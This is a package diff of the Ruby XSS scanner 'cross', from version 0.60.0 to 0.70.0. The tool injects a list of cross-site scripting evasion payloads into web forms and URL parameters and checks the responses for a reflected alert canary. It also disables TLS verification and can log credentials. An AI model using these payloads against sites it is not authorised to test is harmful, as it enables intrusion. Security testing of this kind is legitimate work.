cross 0.60.0 → 0.70.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 4f1bec8b1ce4f2e496fe86f5d966efb87696b4e9
4
- data.tar.gz: 8953c2f3a406c7a3cedbeb6f09395e2ddd7e5c11
3
+ metadata.gz: 0d64cb7b3b08fc4bb0cd84d9e6397d18f665480f
4
+ data.tar.gz: 75938bd016b68f625effb11d333591de5c5b4a2a
5
5
  SHA512:
6
- metadata.gz: acb82a8dbe95bf8c952f2537d03642ec4f6d059202914d93f8509605beb208bf6088fdca447d84934f5d61446b7ad4e8f9b3442ed213091685abade5879c006e
7
- data.tar.gz: a159b734f9bb303170e2e922c936c4c89abfe83524f58f2392bee7e0b2e679813c8371d5c01edd46faa615b39e26f4e94cb7b020aa73e0eeba7ac0d1954b8cb6
6
+ metadata.gz: 20299787fae7dbceff48b0a9ccede33d6e56398846c6957008abce06a529c6b2915b871ac8a7d1b3b5afa1b4248d01e990cbd526db91a92af845ccebaf3dd0c5
7
+ data.tar.gz: 88e76a3705afb351f0f0bc6fa3c44196056ab3958ee6cb8d68d7d0196f92213837685acfa3570abf59722e6de216be77da917238c8c5308e57e30760437a0bc4
data/.gitignore CHANGED
@@ -1,5 +1,5 @@
1
1
  *.swp
2
- cross.log
2
+ *.log
3
3
  *.gem
4
4
  *.rbc
5
5
  .bundle
@@ -0,0 +1 @@
1
+ hacking
@@ -0,0 +1 @@
1
+ ruby-2.0.0-p247
data/bin/cross CHANGED
@@ -7,6 +7,8 @@ require 'cross'
7
7
  require 'getoptlong'
8
8
  require 'codesake-commons'
9
9
 
10
+ $logger = Codesake::Commons::Logging.instance
11
+
10
12
  opts = GetoptLong.new(
11
13
  [ '--help', '-h', GetoptLong::NO_ARGUMENT ],
12
14
  [ '--version', '-v', GetoptLong::NO_ARGUMENT ],
@@ -19,18 +21,26 @@ opts = GetoptLong.new(
19
21
  ['--user', '-U', GetoptLong::REQUIRED_ARGUMENT ],
20
22
  ['--password', '-P', GetoptLong::REQUIRED_ARGUMENT ]
21
23
  )
22
- trap("INT") { puts '['+'INTERRUPTED'.color(:red)+']'; exit -1 }
24
+ trap("INT") { $logger.die "SIGINT detected. Giving up" }
23
25
 
24
- options={:exploit_url=>false, :debug=>false, :oneshot=>false, :sample_post=>"", :parameter_to_tamper=>"", :crawl=>{:enabled=>false, :url_prefix=>nil}, :auth=>{:username=>nil, :password=>nil}}
25
- $logger = Codesake::Commons::Logging.instance
26
- $logger.toggle_syslog
26
+ options = {:exploit_url=>false,
27
+ :debug=>false,
28
+ :oneshot=>false,
29
+ :sample_post=>"",
30
+ :parameter_to_tamper=>"",
31
+ :auth=>{:username=>nil, :password=>nil},
32
+ :target=>""
33
+ }
27
34
 
28
35
  opts.each do |opt, arg|
29
36
  case opt
30
37
  when '--help'
31
- puts "usage: cross [-uDhv] target"
32
- puts " -u: exploits the URL string instead of looking at the form values"
38
+ puts "usage: cross [-D1StucUPhv] target"
33
39
  puts " -D: turns debug on"
40
+ puts " -1: random select a XSS attack pattern"
41
+ puts " -S arg: when tampering posts, arg is a valid POST body used as reference. It can be also a text file containg the POST parameters."
42
+ puts " -t arg: tells cross to tamper the given parameter. It must be used with -S flag turned on"
43
+ puts " -u: exploits the URL string instead of looking at the form values"
34
44
  puts " -v: shows version"
35
45
  puts " -h: this help"
36
46
  exit 0
@@ -49,10 +59,8 @@ opts.each do |opt, arg|
49
59
  options[:debug]=true
50
60
  when '--exploit-url'
51
61
  options[:exploit_url]=true
52
-
53
62
  when '--crawl'
54
- options[:crawl][:enabled]=true
55
- options[:crawl][:url_prefix] = arg unless arg.nil?
63
+ $logger.die "deprecated. codesake-crawler must be used instead"
56
64
  when '--user'
57
65
  options[:auth][:username]=arg
58
66
  when '--password'
@@ -60,30 +68,26 @@ opts.each do |opt, arg|
60
68
  end
61
69
  end
62
70
 
63
- $logger.helo "cross " + Cross::VERSION + " is starting up"
71
+ $logger.helo "cross", Cross::VERSION
72
+ $logger.die "missing target" if ARGV.length != 1
73
+ $logger.die "-S and -t flag must be used together" if (options[:sample_post].empty? && ! options[:parameter_to_tamper].empty?) or (! options[:sample_post].empty? && options[:parameter_to_tamper].empty?)
64
74
 
75
+
76
+ options[:target] = ARGV.shift
65
77
  engine = Cross::Engine.instance
66
78
  engine.start(options)
67
79
 
68
80
  found = false
69
- $logger.die "missing target" if ARGV.length != 1
70
- $logger.die "-S and -t flag must be used together" if (options[:sample_post].empty? && ! options[:parameter_to_tamper].empty?) or (! options[:sample_post].empty? && options[:parameter_to_tamper].empty?)
71
-
72
- if engine.crawl?
73
- result = engine.crawl(ARGV.shift)
74
- $logger.die result[:message] if result[:status] == 'KO'
75
81
 
76
-
77
- result[:links].each do |l|
78
- $logger.log "Exploiting: #{options[:crawl][:url_prefix]+l}"
82
+ engine.inject
83
+ unless engine.results.empty?
79
84
 
80
- found = engine.inject(options[:crawl][:url_prefix]+l)
81
- $logger.ok "Canary found in output page. Suspected XSS" if found
82
- end
83
- else
84
- found = engine.inject(ARGV.shift)
85
- $logger.ok "Canary found in output page. Suspected XSS" if found
85
+ $logger.ok "Canary found in output page. Suspected XSS"
86
+ engine.results.each do |res|
87
+ $logger.log res[:evidence]
88
+ end
86
89
  end
87
90
 
88
- $logger.err "Canary not found" if ! found
91
+
92
+ $logger.err "Canary not found" if engine.results.empty?
89
93
  $logger.helo "cross is leaving"
@@ -1,6 +1,7 @@
1
1
  require 'mechanize'
2
2
  require 'logger'
3
3
  require 'singleton'
4
+ require 'URI'
4
5
 
5
6
  require 'cross/xss'
6
7
 
@@ -10,84 +11,75 @@ module Cross
10
11
  class Engine
11
12
  include Singleton
12
13
 
13
- attr_reader :agent
14
+ attr_reader :agent
14
15
  attr_accessor :options
15
-
16
- def debug?
17
- @options[:debug]
16
+ attr_reader :results
17
+ attr_reader :target
18
+
19
+
20
+ def create_log_filename(target)
21
+ begin
22
+ return "cross_#{URI.parse(target).hostname.gsub('.', '_')}_#{Time.now.strftime("%Y%m%d")}.log"
23
+ rescue
24
+ return "cross_#{Time.now.strftime("%Y%m%d")}.log"
25
+ end
18
26
  end
19
27
 
20
28
  # Starts the engine
21
- def start(options={:exploit_url=>false, :debug=>false, :auth=>{}})
22
- @agent = Mechanize.new {|a| a.log = Logger.new("cross.log")}
29
+ def start(options = {:exploit_url=>false, :debug=>false, :oneshot=>false, :sample_post=>"", :parameter_to_tamper=>"", :auth=>{:username=>nil, :password=>nil}, :target=>""})
30
+ @agent = Mechanize.new {|a| a.log = Logger.new(create_log_filename(options[:target]))}
23
31
  @agent.user_agent_alias = 'Mac Safari'
24
32
  @agent.agent.http.verify_mode = OpenSSL::SSL::VERIFY_NONE
25
33
  @options = options
34
+ @target = options[:target]
35
+ @results = {}
26
36
  end
27
37
 
28
- def authenticate?
29
- ! @options[:auth].nil? and ! @options[:auth].empty?
30
- end
31
-
32
- def crawl?
33
- @options[:crawl][:enabled]
34
- end
35
-
36
- def crawl(url)
38
+
39
+ # def crawl(url)
40
+ # start if @agent.nil?
41
+
42
+ # links = []
43
+ # @agent.add_auth(url, @options[:auth][:username], @options[:auth][:password]) if authenticate?
44
+ # begin
45
+ # page=@agent.get(url)
46
+ # page=@agent.get(url) if authenticate?
47
+ # page.links.each do |l|
48
+ # @agent.log.debug("Link found: #{l.href}") if debug?
49
+ # links << l.href
50
+ # end
51
+ # rescue Mechanize::UnauthorizedError
52
+ # return {:status=>'KO', :links=>[], :message=>'target website requires authentication'}
53
+ # rescue => e
54
+ # return {:status=>'KO', :links=>links, :message=>e.to_s}
55
+ # end
56
+
57
+ # return {:status=>'OK', :links=>links, :message=>''}
58
+ # end
59
+
60
+ def inject
37
61
  start if @agent.nil?
38
62
 
39
- links = []
40
- @agent.add_auth(url, @options[:auth][:username], @options[:auth][:password]) if authenticate?
41
- begin
42
- page=@agent.get(url)
43
- page=@agent.get(url) if authenticate?
44
- page.links.each do |l|
45
- @agent.log.debug("Link found: #{l.href}") if debug?
46
- links << l.href
47
- end
48
- rescue Mechanize::UnauthorizedError
49
- return {:status=>'KO', :links=>[], :message=>'target website requires authentication'}
50
- rescue => e
51
- return {:status=>'KO', :links=>links, :message=>e.to_s}
52
- end
53
-
54
- return {:status=>'OK', :links=>links, :message=>''}
55
- end
56
-
57
- def inject(url)
58
- start if @agent.nil?
63
+ $logger.log "Authenticating to the app using #{@options[:auth][:username]}:#{@options[:auth][:password]}" if debug? && authenticate?
59
64
 
60
- $logger.log "Authenticating to the app using #{@options[:auth][:username]}:#{@options[:auth][:password]}" if debug?
65
+ @agent.add_auth(@target, @options[:auth][:username], @options[:auth][:password]) if authenticate?
61
66
 
62
- @agent.add_auth(url, @options[:auth][:username], @options[:auth][:password]) if authenticate?
63
-
64
- found = false
65
67
  if @options[:exploit_url]
66
68
  # You ask to exploit the url, so I won't check for form values
67
69
 
68
- attack_url = Cross::Url.new(url)
69
-
70
- Cross::Attack::XSS.each do |pattern|
71
- attack_url.params.each do |par|
72
-
73
- page = @agent.get(attack_url.fuzz(par[:name],pattern))
74
- @agent.log.debug(page.body) if debug?
75
-
76
- scripts = page.search("//script")
77
- scripts.each do |sc|
78
- $logger.log(page.body) if @options[:debug] if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
79
- return true if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
80
- end
70
+ theurl= Cross::Url.new(@target)
81
71
 
82
- return false if options[:oneshot]
72
+ attack_url(theurl, Cross::Attack::XSS.rand) if oneshot?
83
73
 
84
- attack_url.reset
74
+ if ! oneshot?
75
+ Cross::Attack::XSS.each do |pattern|
76
+ attack_url(theurl, pattern)
85
77
  end
86
78
  end
87
79
 
88
80
  else
89
81
  begin
90
- page = @agent.get(url)
82
+ page = @agent.get(@target)
91
83
  rescue Mechanize::UnauthorizedError
92
84
  $logger.err 'Authentication failed. Giving up.'
93
85
  return false
@@ -99,48 +91,112 @@ module Cross
99
91
  return false
100
92
  end
101
93
 
102
- $logger.log "#{page.forms.size} form(s) found" if debug?
103
-
104
- Cross::Attack::XSS.each do |pattern|
105
-
106
- $logger.log "using attack vector: #{pattern}" if debug?
107
-
108
-
109
- page.forms.each do |f|
110
- f.fields.each do |ff|
111
- if options[:sample_post].empty?
112
- ff.value = pattern if options[:parameter_to_tamper].empty?
113
- ff.value = pattern if ! options[:parameter_to_tamper].empty? && ff.name==options[:parameter_to_tamper]
114
- else
115
- ff.value = find_sample_value_for(options[:sample_post], ff.name) unless ff.name==options[:parameter_to_tamper]
116
- ff.value = pattern if ff.name==options[:parameter_to_tamper]
117
-
118
- end
119
- end
120
-
121
- pp = @agent.submit(f)
122
- $logger.log "header: #{pp.header}" if debug? && ! pp.header.empty?
123
- $logger.log "body: #{pp.body}" if debug? && ! pp.body.empty?
124
- $logger.err "Page is empty" if pp.body.empty?
125
- scripts = pp.search("//script")
126
- scripts.each do |sc|
127
- return true if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
128
- end
129
-
130
- # This is for input html field javascript event evasion
131
- inputs = pp.search("//input")
132
- inputs.each do |input|
133
- return true if ! input['onmouseover'].nil? && input['onmouseover'].include?("alert(#{Cross::Attack::XSS::CANARY})")
134
- end
135
- end
136
- return false if options[:oneshot]
94
+
95
+ if page.forms.size == 0
96
+ $logger.log "no forms found, please try to exploit #{@target} with the -u flag"
97
+ return false
98
+ else
99
+ $logger.log "#{page.forms.size} form(s) found" if debug?
100
+ end
101
+ attack_form(page, Cross::Attack::XSS.rand) if oneshot?
102
+
103
+ if ! oneshot?
104
+ Cross::Attack::XSS.each do |pattern|
105
+ attack_form(page, pattern)
106
+ end
137
107
  end
138
108
  end
139
- found
109
+ @results.empty?
140
110
  end
141
111
 
142
112
 
143
113
  private
114
+
115
+ def oneshot?
116
+ @options[:oneshot]
117
+ end
118
+
119
+ def debug?
120
+ @options[:debug]
121
+ end
122
+ def authenticate?
123
+ ! ( @options[:auth][:username].nil? && @options[:auth][:password].nil? )
124
+ end
125
+
126
+ def attack_url(url = Cross::Url.new, pattern)
127
+ $logger.log "using attack vector: #{pattern}" if debug?
128
+ url.params.each do |par|
129
+
130
+ page = @agent.get(url.fuzz(par[:name],pattern))
131
+ @agent.log.debug(page.body) if debug?
132
+
133
+ scripts = page.search("//script")
134
+ scripts.each do |sc|
135
+ if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
136
+ $logger.log(page.body) if @debug
137
+ @results << {:page=>page.url, :method=>:get, :evidence=>sc.children.text, :param=>par}
138
+
139
+ return true
140
+ end
141
+ end
142
+
143
+ inputs = page.search("//input")
144
+ inputs.each do |input|
145
+ if ! input['onmouseover'].nil? && input['onmouseover'].include?("alert(#{Cross::Attack::XSS::CANARY})")
146
+ $logger.log(page.body) if @debug
147
+ @results << {:page=>page.url, :method=>:get, :evidence=>input['onmouseover'], :param=>par}
148
+ return true
149
+ end
150
+ end
151
+
152
+ url.reset
153
+ end
154
+
155
+ false
156
+ end
157
+
158
+ def attack_form(page = Mechanize::Page.new, pattern)
159
+ $logger.log "using attack vector: #{pattern}" if debug?
160
+
161
+ page.forms.each do |f|
162
+ f.fields.each do |ff|
163
+ if options[:sample_post].empty?
164
+ ff.value = pattern if options[:parameter_to_tamper].empty?
165
+ ff.value = pattern if ! options[:parameter_to_tamper].empty? && ff.name==options[:parameter_to_tamper]
166
+ else
167
+ ff.value = find_sample_value_for(options[:sample_post], ff.name) unless ff.name==options[:parameter_to_tamper]
168
+ ff.value = pattern if ff.name==options[:parameter_to_tamper]
169
+
170
+ end
171
+ end
172
+
173
+ pp = @agent.submit(f)
174
+ $logger.log "header: #{pp.header}" if debug? && ! pp.header.empty?
175
+ $logger.log "body: #{pp.body}" if debug? && ! pp.body.empty?
176
+ $logger.err "Page is empty" if pp.body.empty?
177
+ scripts = pp.search("//script")
178
+ scripts.each do |sc|
179
+ if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
180
+ $logger.log(page.body) if @debug
181
+ @results << {:page=>page.url, :method=>:post, :evidence=>sc.children.text}
182
+ return true
183
+ end
184
+ end
185
+
186
+ # This is for input html field javascript event evasion
187
+ inputs = pp.search("//input")
188
+ inputs.each do |input|
189
+ if ! input['onmouseover'].nil? && input['onmouseover'].include?("alert(#{Cross::Attack::XSS::CANARY})")
190
+ $logger.log(page.body) if @debug
191
+ @results << {:page=>page.url, :method=>:post, :evidence=> input['onmouseover']}
192
+ return true
193
+ end
194
+ end
195
+ end
196
+
197
+ false
198
+ end
199
+
144
200
  def find_sample_value_for(sample, name)
145
201
  v=sample.split('&')
146
202
  v.each do |post_param|
@@ -11,17 +11,19 @@ module Cross
11
11
  @params = []
12
12
  @original_params = []
13
13
  @base_url = url.split('?')[0]
14
- p_array = url.split('?')[1].split('&')
15
- p_array.each do |p|
16
- pp = p.split('=')
17
- param = {}
18
- param[:name] = pp[0]
19
- param[:value] = pp[1] unless pp[1].nil?
14
+ if has_params?
15
+ p_array = url.split('?')[1].split('&')
16
+ p_array.each do |p|
17
+ pp = p.split('=')
18
+ param = {}
19
+ param[:name] = pp[0]
20
+ param[:value] = pp[1] unless pp[1].nil?
20
21
 
21
- @params << param
22
- @original_params << param.dup
22
+ @params << param
23
+ @original_params << param.dup
24
+ end
25
+ @original_params.freeze
23
26
  end
24
- @original_params.freeze
25
27
  end
26
28
 
27
29
  def to_s
@@ -54,6 +56,9 @@ module Cross
54
56
  end
55
57
  end
56
58
 
59
+ def has_params?
60
+ ! @url.split('?')[1].nil?
61
+ end
57
62
  def params_to_url
58
63
  ret = ""
59
64
  @params.each do |p|
@@ -1,3 +1,3 @@
1
1
  module Cross
2
- VERSION = "0.60.0"
2
+ VERSION = "0.70.0"
3
3
  end
@@ -1,12 +1,11 @@
1
+ require 'securerandom'
2
+
1
3
  module Cross
2
4
  module Attack
3
5
  class XSS
4
6
 
5
7
  CANARY = 666
6
-
7
- def self.each
8
-
9
- evasions = [
8
+ EVASIONS = [
10
9
  "a onmouseover=alert(#{Cross::Attack::XSS::CANARY})",
11
10
  "<script>alert(#{Cross::Attack::XSS::CANARY})</script>",
12
11
  "<script>alert(#{Cross::Attack::XSS::CANARY});</script>",
@@ -67,11 +66,17 @@ module Cross
67
66
  "+ADw-script+AD4-alert(#{Cross::Attack::XSS::CANARY})+ADw-/script+AD4-", # UTF-7
68
67
  "},alert(#{Cross::Attack::XSS::CANARY}),function x(){//", # DOM breaker
69
68
  "\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3ealert(#{Cross::Attack::XSS::CANARY})\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e" #DOM-based innerHTML injection
70
- ]
71
- evasions.each do |pattern|
69
+ ]
70
+
71
+ def self.rand
72
+ Cross::Attack::XSS::EVASIONS[SecureRandom.random_number(Cross::Attack::XSS::EVASIONS.size)]
73
+ end
74
+
75
+
76
+ def self.each
77
+ Cross::Attack::XSS::EVASIONS.each do |pattern|
72
78
  yield pattern if block_given?
73
79
  end
74
-
75
80
  end
76
81
 
77
82
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: cross
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.60.0
4
+ version: 0.70.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - Paolo Perego
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2013-10-11 00:00:00.000000000 Z
11
+ date: 2013-10-17 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: rake
@@ -119,7 +119,8 @@ files:
119
119
  - .document
120
120
  - .gitignore
121
121
  - .rspec
122
- - .rvmrc
122
+ - .ruby-gemset
123
+ - .ruby-version
123
124
  - Gemfile
124
125
  - LICENSE
125
126
  - README.rdoc
data/.rvmrc DELETED
@@ -1,2 +0,0 @@
1
- rvm use 1.9.3@cross
2
-